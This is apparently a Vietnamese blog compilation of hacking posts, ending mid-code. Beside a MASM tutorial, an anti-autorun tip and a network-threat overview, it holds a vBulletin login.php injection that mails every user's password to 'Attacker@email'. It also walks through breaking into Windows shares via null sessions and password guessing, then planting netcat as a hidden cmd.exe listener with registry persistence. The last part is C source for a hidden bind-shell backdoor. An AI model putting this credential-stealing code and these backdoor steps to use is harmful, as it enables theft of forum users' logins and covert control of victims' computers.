III. ĐỊNH HƯỚNG BIÊN DỊCH TRONG ASM ĐỂ TÍNH TỔNG SỐ BYTES 1 ĐỌAN CODE:

Trong lập trình ASM, khi lập trình về “đọan code độc lập”, chúng ta thường cần tổng số byte của một đọan code để lưu vào 1 biến.

Để làm được điều này, chúng ta dùng chỉ thị định hướng biên dịch là “$”. Chỉ thị này đại diện cho offset tại label hiện nó được sử dụng.

Để tính size của một đọan code ta dùng $ như sau:

Label_01:

........inpendence code..........

Size_Label_01 = $ - Label_01 ; offset Size_Label_01 trừ cho offset Label_01

Chú ý: Size_Label_01 ko phải là một biến mà nó là 1 giá trị để chương trình biên dịch tham chiếu đến.

Chúng ta hảy xem đọan code sau:

Vidu.asm

------------------------cut here-------------------------------------

.586

.model flat, stdcall

option casemap:none

include \masm32\include\kernel32.inc

includelib \masm32\lib\kernel32.lib

.data

.code

start:

push size_label01 ; = push 3 bytes into stack

push 0

call ExitProcess

code_sec segment

label01: push eax ; 1 byte

push ebx ;1 byte

push ecx ;1 byte

size_label01 = $ - label01 ; size from label01 to size_label01 = 3 bytes

code_sec ends

end start

-------------------------------cut here-------------------------------------

Sau khi dùng MASM biên dịch, chúng ta sẽ thấy 1 section được tạo ra có tên là code_sec do ta dùng cặp lệnh sau để tạo ra:

code_sec segment

.........code.............

code_sec ends

và load file exe vừa biên dịch vào Olly, chúng ta sẽ thấy :

00401000 >/$ 68 03000000 PUSH 3

00401005 |. 6A 00 PUSH 0 ; /ExitCode = 0

00401007 \. E8 00000000 CALL ; \ExitProcess

Vậy chỉ thị đầu tiên là lệnh push một giá trị là 3 vào stack, giá trị 3 chính là size của đọan code cần tính tổng từ label label01 đến label size_label01.

Tôi hy vọng những gì trình bày trên đã giúp ích được các bạn . Hẹn gặp lại.

--------------------------------------------------------------------------------

Benina 15/03/2006

Update 31/12/2009


(Không đồng ý bất kỳ ai sử dụng tài liệu này cho mục đích thương mại nếu ko được phép của người dịch)

[Hacking] Chèn Keylogger vào vBB

Chèn Keylogger vào vBB
Poster:
heroes1412

Đã test trên VBB 4.0 beta 5: OK
Edit file login.php:
Tìm:
Code:
process_new_login($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);
Thêm bên dưới:
Code:
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
$lg_password = $vbulletin->GPC["vb_login_password"];
$sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
while($row = @mysql_fetch_array($sql_query))
{
if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
{
$from = $row["usergroupid"].' | '.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$to = "Attacker@email";
$message = $row["usergroupid"] . ' | ' . $lg_username . ' | ' . $lg_password. ' | ' . $row["email"] . "\n";
$header = "Content-type: text/html; charset=utf-8\r\nFrom: $from\r\nReply-to: $to";
mail($to, $from, $message, $header);
}
}
Edit file Global.php, tìm:
Code:
$show['nopasswordempty'] = defined('DISABLE_PASSWORD_CLEARING') ? 1 : 0;
Thêm 2 dấu / vào trước nó để biến nó thành chú thích, ta sẽ được:
Code:
//$show['nopasswordempty'] = defined('DISABLE_PASSWORD_CLEARING') ? 1 : 0;
HOẶC delete line đó đi.
Đây kiểu như 1 dạng backdoor á, để lưu giữ khi cần dùng đến
Mỗi khi ai login nó sẽ gửi mail về cho attacker

Link: http://vnbrain.net/showthread.php?t=504

12/29/09

[Anti Virus] Thủ thuật chống autorun

Virus thường đi đôi với autorun.inf. Bây giờ bạn muốn máy mình không thể nào cho các autorun của các chương trình virus chạy , chỉ bẳng 1 thao tác đơn giản
1) Tạo trong ổ đĩa bạn ko muốn cho autotun nằm đó bạn tạo 1 folder có tên là : autorun.inf
ví dụ : trong ổ c:\ autorun.inf
2) bạn vào cmd gõ lệnh sau :

Trích:
attrib c:\autorun.inf +H +S +R

các thông số có ý nghĩa j` các bạn muốn biết thì gõ : attrib /? nha



Tương tự bạn làm cho các ổ đĩa còn lại


chúc các bạn thanh công

Người đăng: luongkhiem

RefLink:http://thegioimang.org/mang-can-ban/thu-thuat-chong-autorun.html

[Hacking] Hacking PC resource share - Hướng đi và giải pháp

Tác giả: ZENO-HVAOnline

Bài viết này với mục đích chia sẻ,học hỏi,trao đổi kiến thức! Nội dung của bài viết là hack vào PC sử dụng HĐH windows và các phương pháp phòng chống (trong phạm vi kiến thức của tui thôi nha).

Bây giờ chúng ta cùng bắt đầu suy nghĩ những hướng phải đi. Khi bạn Online ( tức kết nối vào Internet) bạn sẽ được ISP gán cho một IP nào đó. Vậy Hacker có biết được IP của bạn không? Câu trả lời là có ( nếu Hacker giao tiếp với bạn,có nghĩa là máy của bạn và máy của hacker có sự kết nối, đồng nghĩa với việc trao đổi các packet,từ các packet có thể biết được địa chi IP nguồn)

Khi biết IP của bạn liệu hacker có thể hack vào máy tính của bạn không? Câu trả lời là hoàn toàn có thể.
Vậy hacker làm như thế nào để Hack?

Hacking thông qua resource share:

Hacker có thể dùng các tool hack tự động ví dụ như : ent3,legion… ( nhưng bản chất của các công cụ này là thưc hiện các bước mà tôi sẽ nói dưới đây 1 cách tự động,chính vì vậy việc dùng các tool này là một cách khá củ chuối …)
Trước tiên Hacker sẽ kiểm tra nhưng tài nguyên được chia sẻ trên máy tính của bạn.
Chỉ bằng vài dòng lệnh đơn giản trên comand line:



code

[C:\>Net view \\x.x.x.x ( với x.x.x.x là địa chỉ IP của bạn mà hacker đã biết )

Shared resources at \\x.x.x.x

Share name Type Used as Comment
-------------------------------------------------------------------------------
C Disk
PRJA3 Disk
The command completed successfully.
C:\>



Với Windows 95 & 98 thì khả năng bị hack Cao hơn nhiều so với Windows NT,2000,XP ( vì win 95,98 dùng định dạng FAT&FAT32 có độ bảo mật thấp hơn nhiều so với NTFS)

Đối với hai loại Windows này (95,98) Hacker thậm chí không cần lấy Administrator cũng có thể làm được tất cả ( bạn có tin không ?).
Khuyến cáo : không nên dùng 2 loại win này vì quá lỗi thời và có thể bị hack bất cứ lúc nào.

Sau khi liệt kê các Ổ đĩa,folder share bước tiếp theo của hacker là phải truy cập vào các ổ đĩa,folder đó để lấy dữ liệu (đây cũng là mục đích của hacker).Hacker sẽ ánh sạ ổ đĩa ,thư mục share để truy cập vào.
Cũng bằng command line:


code


C:\> net use z: \\x.x.x.x \share
The command completed successfully
.



Chẳng lẽ hack đơn gian vậy sao ? Không , không hề đơn giản như thế bởi vì máy của victim có đặt password ( viêc ánh sạ cần phải biết username & password ).Thế là Hacker pó tay ? không hacker không bao giờ chịu pó tay,hacker sẽ cố gắng lấy username & password
Lấy Username :


code


C
:\> Nbtstat –A x.x.x.x

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
ADMIN <00> UNIQUE Registered
BODY <00> GROUP Registered
ADMIN f <20> UNIQUE Registered
BODY <1e> GROUP Registered
BODY <1d> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered

MAC Address = 00-08-A1-5B-E3-8C



Vậy máy x.x.x.x sẽ có 2 username là : ADMIN va BODY
Khi đã có username hacker sẽ tiến hành Crack password ( dựa vào các tool như : pqwak,xIntruder) Hoặc Hacker sẽ tiến hành tạo ra một từ điển ( dựa vào khả năng phán đoán của hacker ) tên là : pass.txt


code


“” ADMIN
123456 ADMIN
123456 BODY
“” BODY


Sau đó hacker crack bang lệnh :
[/code]
Cũng có thể tạo Userlist.txt và passlist.txt rồi dùng lệnh:


code


C:\> FOR /F %i IN (1,1,254) DO nat –u userlist.txt –p passlist.txt x.x.x.x.%I>>output.txt


Đối với Win 2000,XP hacker sẽ không là gì nếu không phải administrator chính vì vậy hacker bằng mọi giá sẽ lấy cho được administrator.
nếu lấy được admin thì việc còn lại thì chờ hacker định đoạt.
Khuyến cáo : không nên share gì hết ( trong trường hợp buộc phải share thì nên đặt password phức tạp 1 chút )
Giả sử rằng máy của Victim không share. Vậy hacker làm sao ?

Trong trường hợp này hacker sẽ đoán user & pass (có thể dùng cách ở trên hoặc dung các tool như: user2sid/sid2user,dumpACL,SMBGrind……) sau đó kết nối tới IPC$ ( mặc định share của windows)


code


C:\> net use \\x.x.x.x\IPC$ “password” /user:”administrator”
The command completed successfully.

Trong trường hợp không thê đoán Đươc user & pass hacker có thể thiết lập một Null session tới máy victim:


code

C:\> net use \\x.x.x.x\IPC$ “” /user:””
The command completed successfully

Và rồi nếu victim permission không đúng sẽ có nhưng hậu quả khôn lường.

khuyến cáo : Vô hiệu hoá NetBios ( Bấm vào My Network Places chọn Local Area Connetion, chọn TCP/ IP sau đó bấm vào propperties chọn Advandce, chọn WINS và bấm vào Disable NetBIOS over TCP / IP), Dùng firewall chặn 1 số port không cần thiết , khoá tài khoản sau 1 số lần đăng nhập thất bại .

Tiện đây cũng nói thêm về điều khiển từ xa ( vì có nhiều bạn đột nhập được vào rùi mà không biết phải làm sao )

Giả sử rằng bạn đã có username,password của admin của máy victim rồi:
giờ thiết lập 1 phiên làm viêc:



code

C:\> net use \\x.x.x.x\IPC$ “password” /user:”administrator”
The command completed successfully.



Sau đó ta cần copy backdoor để điều khiển máy victim có rất nhiều loại backdoor nhưng tôi thấy hơn cả vẫn là : netcat ( nc)
chép nc vào máy victim



code

C
:\>copy nc.exe \\x.x.x.x\ADMIN$\nc.exe
The command completed successfully.
1 file copies

Chạy service Schedule trên máy victim ( có service này mới thực thi đ ươc các file trên máy victim, mặc đinh khi cài win sẽ chạy service này)



code

C:\> sc \\x.x.x.x start schedule
service_name : schedule


Bây giờ kiểm tra giờ trên máy victim



code

C:\> net time \\x.x.x.x

Current time at \\10.0.0.31 is 6/29/2005 4:50 AM

The command completed successfully.



Bây giờ chạy netcat ở chế độ ẩn lắng nghe cổng 111:



code

C:\>AT \\x.x.x.x 4:55 /interactive “c:\windows\nc.exe” –L –d –p111 –e cmd.exe

Added a new job with job ID = 1

đợi đến 4:55 rồi chạy thử nc.exe



code

C:\>nc –nvv x.x.x.x 111

(UNKNOWN) [x.x.x.x] 111 (?) open
Microsoft Windows XP [Version 5.1.2600]
© Copyright 1985-2001 Microsoft Corp.

C:\windows>


Bây giờ làm gì thì tuỳ nha ( nhưng đừng có phá hoại người ta nhe’)
Vấn đề là làm sao cho những lần sau victim bật máy tính lên netcat tự động chạy và lắng nghe mệnh lệnh của ta?
Bạn có thể cho netcat khởi động cùng windows. "moi" file netcat.reg (dùng notepad và save lại thành .reg) có nội dung như sau:



code

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"netcat"="\"C:\\nc\\nc.exe\" -L -d -p111 -e cmd.exe"


Sau đó copy sang máy victim và chạy nha!
Hy vọng mọi người đừng phá hoại nha ! Thân

Tác giả: ZENO-HVAOnline

[Hacking] Những điểm yếu trong bảo mật và các hình thức tấn công mạng

I. Những mối đe doạ đối với vấn đề bảo mật:
Cơ bản có 4 mối đe doạ đến vấn đề bảo mật mạng như sau:

1) Unstructured threats:
Những mối đe doạ thuộc dạng này được tạo ra bởi những hacker không lành nghề, họ thật sự không có kinh nghiệm. Những người này ham hiểu biết và muốn download dữ liệu từ mạng Internet về. Họ thật sự bị thúc đẩy khi nhìn thấy những gì mà họ có thể tạo ra.

2) Structured threats:
Hacker tạo ra dạng này tinh tế hơn dang unstructured rất nhiều. Họ có kỹ thuật và sự hiểu biết về cấu trúc hệ thống mạng. Họ thành thạo trong việc làm thế nào để khai thác những điểm yếu trong mạng. Họ tạo ra một hệ thống có “cấu trúc” về phương thức xâm nhập sâu vào trong hệ thống mạng.
Cả hai dạng structured và unstructured đều thông qua Internet để thực hiện tấn công mạng.

3) External threats:
Xuất phát từ Internet, những người này tìm thấy lỗ hổng trong hệ thống mạng từ bên ngoài. Khi các công ty bắt đầu quảng bá sự có mặt của họ trên Internet thì cũng là lúc các hacker rà soát để tìm kiếm điểm yếu, đánh cắp dữ liệu và phá huỷ hệ thống mạng.

4) Internal threats:
Mối đe doạ này thật sự rất nguy hiểm bởi vì nó xuất phát từ ngay trong chính nội bộ, điển hình là nhân viên hoặc bản thân những người quản trị. Họ có thể thực hiện việc tấn công một cách nhanh, gọn và dễ dàng vi họ am hiểu cấu trúc cũng như biết rõ điểm yếu của hệ thống mạng.

II. Những điểm yếu trong vấn đề bảo mật:
Hiểu được những điểm yếu trong bảo mật là một vấn đề hết sức quan trọng để tiến hành những chính sách bảo mật có hiệu quả.
Hiểu những điểm yếu này giúp bảo mật mạng trước khi bi hacker tấn công.
Cisco xác định những điểm yếu trong bảo mật gồm có: technology weaknesses, configuration weaknesses và policy weaknesses.

1) Technology weaknesses:
Điểm yếu trong kỹ thuật gồm có điểm yếu trong protocol, operating system va hardware.

a) TCP/IP weaknesses:
Giao thức TCP/IP là điểm yếu trong bảo mật vì nó được thiết kế như một tiêu chuẩn mở để giúp cho việc trao đổi thông tin được dễ dàng. Điều đó làm cho nó trở nên sử dụng rộng rãi nhưng cũng làm cho nó dễ dàng bị tấn công vì hầu hết mọi người đều thân thuộc với cách thức TCP/IP làm việc.
Hai giao thức mà Cisco thích lựa chọn trong chùm giao thức TCP/IP nhưng vốn cố hữu lại không được bảo mật la SMTP ( TCP ) va SNMP ( UDP ). Điển hình của kỹ thuật tấn công vào hai giao thức này là IP spoofing, man-in-the-middle và session replay.

b) Operating System weaknesses:
Trong khi tất cả các hệ điều hành đều có điểm yếu thì Linux và Unix được xem như là ít có điểm yếu hơn Windows. Thực tế, hầu hết mọi người dùng các phiên bản của Windows.

c) Network equipment weaknesses:
Hầu hết các thiết bị mạng như là servers, switchs, routers… đều có điểu yếu trong bảo mật. Nhưng có một chính sách tốt cho việc cấu hình và lắp đặt cho các thiết bị mạng sẽ làm giảm đi rất nhiều sự ảnh hưởnng của điểm yếu này.

2) Configuration weaknesses:
Đây là lỗi do nhà quản trị tạo ra. Lỗi này do các thiếu sót trong việc cấu hình như là: không bảo mật tài khoản khách hàng, hệ thống tài khoản với password dễ dàng đoán biết, không bảo mật các cấu hình mặc định trên thiết bị hay lỗi trong việc cấu hình thiết bị.

a) Unsecured user account:
Mỗi user account cần có usename và password cho mục đích bảo mật.Các username và password này thường được truyền đi ở dạng clear text trên mạng. Do đó, cần có chính sách bảo mật user account như mã hoá, authentication …

b) System account with easily guessed password:
Một điểm yếu trong lỗi cấu hình khác là bảo mật account với password dễ dàng bị đánh cắp. Để ngăn chặn tình trạng đó, người quản trị cần có chính sách để không cho phép một password có hiệu lực mãi mãi mà password này phải có một thời hạn kết thúc.

c) Misconfigured Internet services:
Một vài công ty đã sử dụng địa chỉ thật trên mạng internet để đánh địa chỉ cho hosts và servers. Điều này tạo nên điểm yếu mà các hacker sẽ dễ dàng khai thác thông tin.
Sử dụng giao thức NAT hoặc PAT có thể giải quyết vấn đề trên. Sử dụng địa chỉ riêng ( private address ) cho phép đánh địa chỉ hosts và servers ma không cần dùng địa chỉ thật trên mạng, trong khi địa chỉ thật thì được border router định tuyến ra mạng internet.
Đó không phải là biện pháp tối ưu. Port trên interface kết nối ra internet phải ở trạng thái open cho phép users vào mạng internet và ngược lại. Đó là lỗ hỏng trên bức tường lửa ( firewall ) mà hacker có thể tấn công vào.
Bạn có thể tạo ra tính bảo mật cho network bằng cách sử dụng “ conduits ”, là kết nối bảo mật cơ bản.
Cisco Secure Private Internet Echange ( PIX ) firewall là biện pháp tối ưu tạo ra tính bảo mật tốt cho mạng.

d) Unsecured default settings in product:
Nhiều sản phẩm phần cứng được cung cấp mà không có password hoặc là password sẵn có giúp cho nhà quản trị dễ dàng cấu hình thiết bị. Nó làm cho công việc dễ dàng hơn, như một số thiết bị chỉ cần cắm vào và hoạt động. Điều này sẽ giúp cho sự tấn công mạng trở nên dễ dàng. Do đó, ta cần phải thiết lập một chính sách cấu hình bảo mật trên mỗi thiết bị trước khi thiết bị được lắp đặt vào hệ thống mạng.

e) Misconfigured Netword Equipment:
Lỗi cấu hình thiết bị là một lổ hổng có thể khai thác để tấn công mạng: password yếu, không có chính sách bảo mật hoặc không bảo mật user account… đều là lỗi cấu hình thiết bị.
Phần cứng và những giao thức chạy trên thiết bị cũng tạo ra lỗ hỏng bảo mật trong mạng. Nếu bạn không có chính sách bảo mật cho phần cứng và những giao thức này thì hacker sẽ lợi dụng để tấn công mạng.
Nếu bạn sử dụng SNMP được mặc định thiết lập thì thông tin có thể bị đánh cắp một cách dễ dàng và nhanh chóng. Do đó, hãy chắc chắn là bạn làm mất hiệu lực của SNMP hoặc là thay đổi mặc định thiết lập SNMP có sẵn.

3) Policy weaknesses:
Chính sách bảo mật diễn tả làm thế nào và ở đâu chính sách bảo mật được thực hiện. Đây là điều kiện quan trọng giúp việc bảo mật có hiệu quả tốt nhất.
Điểm yếu trong chính sách bao gồm: Absence of a written security policy, organization politics, lack of business continuity, lax security administrator, installation and changes that do not follow the stated policy và no disaster recovery plan.


III. Types of network attacks:
Các hình thức tấn công mạng có thể phân thành 4 dạng như sau:

1) Reconnaissance attacks:
Bước đầu hacker ping đến tằm nhắm để xác định địa chỉ IP đích. Sau đó, hacker xác định những port cũng như những dịch vụ đang “sống” trên địa chỉ IP đó. Từ những thông tin này, hacker bắt đầu xác định được dạng và phiên bản của hệ điều hành. Hacker tiến hành đánh cắp dữ liệu hoặc phá huỷ hệ điều hành của mạng.
Các hình thức tấn công dạng này bao gồm: packet sniffers, port scans, ping sweeps, internet information queries.

a) Packet sniffers:
Là phần mềm ứng dụng dùng một card adapter với promiseous mode để bắt giữ tất cả các gói tin gởi xuyên qua một mạng LAN. Kỹ thuật này chỉ thực hiện được trên cùng một collision domain.
Packet sniffers sẽ khai thác những thông tin được truyền ở dạng clear text. Những giao thức truyền ở dạng clear text bao gồm: Telnet, FTP, SNMP, POP, HTTP…
Một vd như sau:

Code:
TCP - Transport Control Protocol
Source Port: 3207
Destination Port: 110 pop3
Sequence Number: 1904801188
Ack Number: 1883396256
Offset: 5 (20 bytes)
Reserved: 0000
Flags: %011000
0. .... (No Urgent pointer)
.1 .... Ack
.. 1... Push
.. .0.. (No Reset)
.. ..0. (No SYN)
.. ...0 (No FIN)
Window: 64161
Checksum: 0x078F
Urgent Pointer: 0
No TCP Options
POP - Post Office Protocol
Line 1: PASS secretpass




Ta nhận thấy password được truyền đi ở dạng clear text là secrectpass.
Bởi vì packet được truyền đi không được mã hoá như trên, nó có thể bị xử lý bởi bất kỳ ai sử dụng kỹ thuật packet sniffers.
Những công cụ sau được dùng ngăn cản packet sniffers gồm: authentication, switched infrastrutured, antisniffer va cryptography.


Authentication:
Kỹ thuật xác thực này được thực hiện phổ biến như one-type password (OTPs). Kỹ thuật này được thực hiện bao gôm hai yếu tố: personal identification number ( PIN ) và token card để xác thực một thiết bị hoặc một phần mềm ứng dụng.
Token card là thiết bị phần cứng hoặc phần mềm sản sinh ra thông tin một cách ngẫu nhiên ( password ) tai một thời điểm, thường là 60 giây.
Khách hàng sẽ kết nối password đó với một PIN để tạo ra một password duy nhất. Giả sử một hacker học được password đó bằng kỹ thuật packet sniffers, thông tin đó cũng không có giá trị vì nó đã hết hạn.


Switched infrastructured:
Kỹ thuật này có thể dùng để ngăn chặn packet sniffers trong môi trường mạng. Vd: nếu toàn bộ hệ thống sử dụng switch ethernet, hacker chỉ có thể xâm nhập vào luồng traffic đang lưu thông tại 1 host mà hacker kết nối đến. Kỹ thuật này không làm ngăn chặn hoàn toàn packet sniffer nhưng nó có thể giảm được tầm ảnh hưởng của nó.


Antisniffer tools:
Là những phần mềm và phần cứng được thiết kế để ngăn chặn sniffer. Thật sự những ứng dụng này không ngăn chặn được hoàn toàn nguy cơ bị sniffer nhưng cũng giống như những công cụ khác, nó là một phần của toàn bộ hệ thống.
Cryptography:
Kỹ thuật mã hoá này giúp cho dữ liệu được truyền đi qua mạng ma không ở dạng clear text. Giả sử hacker co bắt được dữ liệu thì cũng không thể giải mã được thông tin.
Phương pháp này có hiệu lực hơn so với vịêc dò tìm và ngăn cản sniffer. Nếu như một kênh truyền được mã hoá, dữ liệu mà packet sniffer dò tìm được cũng không có giá trị và không phải là thông tin chính xác ban đầu.
Hệ thống mã hóa của Cisco dựa trên kỹ thuật IPSec, giao thức mã hóa “ đường hầm” dựa trên địa chỉ IP. Những giao thức gồm: Secure Sell Protocol ( SSH ) và Secure Socket Layer ( SSL ).

b) Port scans va ping sweeps:
Kỹ thuật này được tiến hành nhằm những mục đích như sau:
Xác định những dịch vụ trong mạng
Xác định các host và thiết bị đang vận hành trong mạng
Xác định hệ điều hành trong hệ thống
Xác định tất cả các điểm yếu trong mạng, từ đó tiến hành những mục đích khác.
Với kỹ thuật ping sweeps, hacker có thể xác định một danh sách các host đang sống trong một môi trường. Từ đó, hacker sử dụng công cụ port scans xoay vòng qua tất cả các port và cung cấp một danh sách đầy đủ các dịch vụ đang chạy trên host đã tìm thấy bởi ping sweeps. Công viêc tiếp theo là hacker xác định những dịch vụ có điểm yếu và bắt đầu tấn công vào điểm yếu này.
Kỹ thuật IDS được dùng để cảnh báo cho nhà quản trị khi có reconnaissance attacks như là port scans va ping sweeps. IDS giúp nhà quản trị có sự chuẩn bị tốt nhằm ngăn cản hacker.

c) Internet information queries:
DNS queries có thể chỉ ra nhiều thông tin như là người sở hữu một domain nào đó và range địa chỉ nào được ấn định cho domain đó.
Hacker sử dụng công cụ này để “ trinh sát” tìm ra các thông tin trên mạng.
Cùng với port scans và ping sweeps, sau khi tìm ra được những thông tin đầy đủ như các port active, các giao thức chạy trên port đó, hacker tiến hành kiểm tra những đặc trưng của các ứng dụng này để tìm ra điểm yếu và bắt đầu tấn công.



2) Access attacks:
Trong phương pháp này, kẻ xâm nhập điển hình tấn công vào mạng nhằm: đánh cắp dữ liệu, giành lấy quyền access, và giành lấy những đặc quyền access sau này.
Access attacks có thể bao gồm:
Password attack
Trust exploitation
Port redirection
Man in the middle attack

a) Password attack:
Hacker có thế xâm nhập hệ thống dùng các kỹ thuật brute-force attacks, trojan horce, IP spoofing va packet sniffer.
Thường một cuộc tấn công brute-force attack được thực hiện dùng 1 chu trình chạy xuyên qua mạng và cố gắng xen vào chia sẻ môi trường. Khi hacker giành được quyền access đến một nguồn tài nguyên, hacker cùng với user cùng chia sẻ quyền lợi. Nếu như có đủ tài nguyên thì hacker sẽ tạo ra một của sổ kín cho lần access sau.
Hacker có thể làm thay đổi bảng định tuyến trong mạng. Điều đó sẽ làm chắc chắn rằng tất cả các gói tin sẽ được gởi đến hacker trước khi được gởi đến đích cuối cùng.
Trong một vài trường hợp, hacker có thể giám sát tất cả các traffic, thật sự trở thành một man in the middle.
Ta có thể hạn chế password attack bằng những cách sau:
Không cho phép user dùng cùng password trên các hệ thống.
Làm mất hiệu lực account sau một vài lần login không thành công. Bước kiểm tra này giúp ngăn chặn việc rà soát password nhiều lần.
Không dùng passwords dạng clear text: dùng kỹ thuật OTP hoặc mã hoá password như đã trình bày phần trên.
Dùng “strong” passwords: Dạng password này dùng ít nhất 8 ký tự, chứa các uppercase letters, lowercase letters, những con số và những ký tự đặc biệt.

b) Trust exploitation:
Đây là phương pháp “ khai thác tin cậy “, nó dựa vào các mối quan hệ tin cậy bên trong mạng.
Bình thường, nếu hai domain có mối quan hệ tin cậy với nhau thì cho phép thiết bị domain này có thể access vào domain kia.
Hacker sẽ lợi dụng sơ hở trong mối quan hệ tin cậy nhằm khai thác các sai sót trong mối quan hệ này để thoả hiệp, tức là để kiểm soát.
Hệ thống bên ngoài firewall sẽ có mối quan hệ hoàn toàn không tin cậy với hệ thống bên trong firewall.



c) Port redirection:
Là một dạng khác của trust exploitation attack mà nó sử dụng một host thoả hiệp nhằm lấy giấy phép ra vào firewall.
Ta có thể tượng như là một firewall với 3 interface và mỗi interface kết nối với 1 host. Host ở bên ngoài có thể hướng đến host ở public services ( thường được gọi là demilitanized zone- DMZ ). Và host ở public services có thể hướng tới cả host ở bên trong hay bên ngoài firewall.Hacker làm cho host ở public service trở thành 1 host thoả hiệp. Hacker đặt một phần mềm tại host này nhằm tạo ra một traffic trực tiếp từ host outside đến host inside. Kết nối này sẽ ko thực hiện thông qua firewall. Như vậy, host bên ngoài giành được quyền kết nối với host bên trong thông qua qui trình port redirection tại host trung tâm ( public services host ).

d) Man in the middle attack:
Kỹ thuật man in the middle được thực hịên bao gồm:
Netword packet sniffers
Giao thức routing và transport.
Tấn công man in the middle nhằm mục đích:
Đánh cắp dữ liệu
Giành lấy một phiên giao dịch
Phân tích traffic trong mạng
DoS
Phá hỏng dữ liệu được truyền
Một ví dụ của man in the middle attack đó là: một người làm việc cho ISP và cố gắng access đến tất cả các gói dữ liệu vận chuyển giữa ISP và bất kỳ một mạng nào khác.
Ta có thể ngăn chặn hình thức tấn công này bằng kỹ thuật mã hoá: mã hoá traffic trong một đường hầm IPSec, hacker sẽ chỉ nhìn thấy những thông tin không có giá trị.
(vnpro.org)

[Virus] Hướng dẫn viết một backdoor đơn giản trên Windows

Nguyên tắc là cách làm việc của backdoor không giải thích các bạn cũng biết nó gì và cách sử dụng chúng như nào. Một khi backdoor được cài lên giúp kẻ tấn công sẽ thuận tiện hơn khi trở lại server mà mình đã tấn công vào, điều mà chúng ta cần biết là cách viết đổ cmd.exe tử backdoor (tức là kẻ tấn công có shell khi đã có backdoor được cài trên server) như thế nào ?

Đoạn mã viết dưới đây không phải là backdoor mà chỉ đơn thuần là một phần công việc của backdoor. Sau đây mình sẽ hướng dẫn cách viết đổ cmd.exe như thế nào ?

Code:
#include 
#include
#include

#define PORT 9999 //<--Dat cong lang nghe la 9999
#define BANNER "Seamoun (http://nhomvicki.net) - TcpShell 1.0\n"
#define MAXRECVBUF 1000 //Bo dem toi da khi nhan
#define MAXPIPEBUF 1000 //Bo dem toi da cua pipe
#define WM_SHELL WM_USER+1 //Tinh huong tu dinh nghia

#define MyClass "Seamoun" //Ten lop
#define MyApp "Seamoun" //Ten ung dung

#pragma comment(lib,"wsock32.lib") //Gop thu vien wsock32.lib


HANDLE hThread_out;
DWORD dwChildThreadIdOut;
SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hPipeOutputRead,hPipeOutputWrite,hPipeInputRead,hPipeInputWrite;
BOOL NowUsing;

int sock_listen,sock;
sockaddr_in addrServer;


void GetShell (HWND hwnd,WPARAM wParam,LPARAM lParam);
int WndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam);
DWORD __stdcall OutSocket(LPVOID lpData);

int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
HWND hwnd;
MSG msg;

WNDCLASSEX wc;
wc.cbClsExtra=0;
wc.cbsize=sizeof(wc);
wc.cbWndExtra=0;
wc.hbrBackground=(HBRUSH)color_WINDOW;
wc.hCursor=LoadCursor(NULL,IDC_ARROW);
wc.hIcon=LoadIcon(NULL,IDI_APPLICATION);
wc.hIconSm=0;
wc.hInstance=hInstance;
wc.lpfnWndProc=(WNDPROC)WndProc;
wc.lpszClassName=MyClass;
wc.lpszMenuName=0;
wc.style=CS_HREDRAW|CS_VREDRAW;

RegisterClassEx(&wc);
hwnd=CreateWindowEx(NULL,MyClass,MyApp,WS_OVERLAPPEDWINDOW,0,0,0,0,NULL,NULL,hInstance,NULL);
ShowWindow(hwnd,SW_HIDE);
UpdateWindow(hwnd);

while (GetMessage(&msg,0,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

return msg.wParam;
}

int WndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam)
{
WSADATA wsaData;
switch(msg)
{
case WM_CREATE:
if (WSAStartup(MAKEWORD(1,1),&wsaData)!=0) return -1;
if ((sock_listen=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET) return -1;

addrServer.sin_family=AF_INET;
addrServer.sin_port=htons(PORT);
addrServer.sin_addr.s_addr=htonl(INADDR_ANY);
memset(&addrServer.sin_zero,'\0',8);
if (bind(sock_listen,(struct sockaddr *)&addrServer,sizeof(addrServer))==SOCKET_ERROR) return -1;
if (listen(sock_listen,1)==SOCKET_ERROR) return -1;
if (WSAAsyncSelect(sock_listen,hwnd,WM_SHELL,
FD_CLOSE|FD_ACCEPT|FD_READ|FD_WRITE)==SOCKET_ERROR) return -1;
NowUsing=FALSE;
break;
case WM_CLOSE:
PostQuitMessage(wParam);
break;
case WM_SHELL:
GetShell(hwnd,wParam,lParam);
default:
return (DefWindowProc(hwnd,msg,wParam,lParam));
}
return 0;
}
void GetShell (HWND hwnd,WPARAM wParam,LPARAM lParam)
{
long lEvent=WSAGETSELECTEVENT(lParam);
static char buf[MAXRECVBUF];
DWORD dwNumberOfBytesWrite;
int sock_tmp;
UINT r;
sockaddr_in addrClient;
int sizeClient=sizeof(addrClient);
if (lEvent==FD_ACCEPT)
{
if ((sock_tmp=accept(sock_listen,(struct sockaddr *)&addrClient,&sizeClient))==INVALID_SOCKET)
if (WSAGetLastError()!=WSAEWOULDBLOCK) return;

if (NowUsing==TRUE)
{
closesocket(sock_tmp);
return;
}
sock=sock_tmp;
send(sock,BANNER,strlen(BANNER),0);
NowUsing=TRUE;

sa.nLength=sizeof(sa);
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;

CreatePipe(&hPipeOutputRead,&hPipeOutputWrite,&sa,5000);
CreatePipe(&hPipeInputRead,&hPipeInputWrite,&sa,5000);

memset((void *)&si,'\0',sizeof(si));
memset((void *)π,'\0',sizeof(pi));

si.cb=sizeof(si);
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput=hPipeInputRead;
si.hStdOutput=hPipeOutputWrite;
si.hStdError=hPipeOutputWrite;

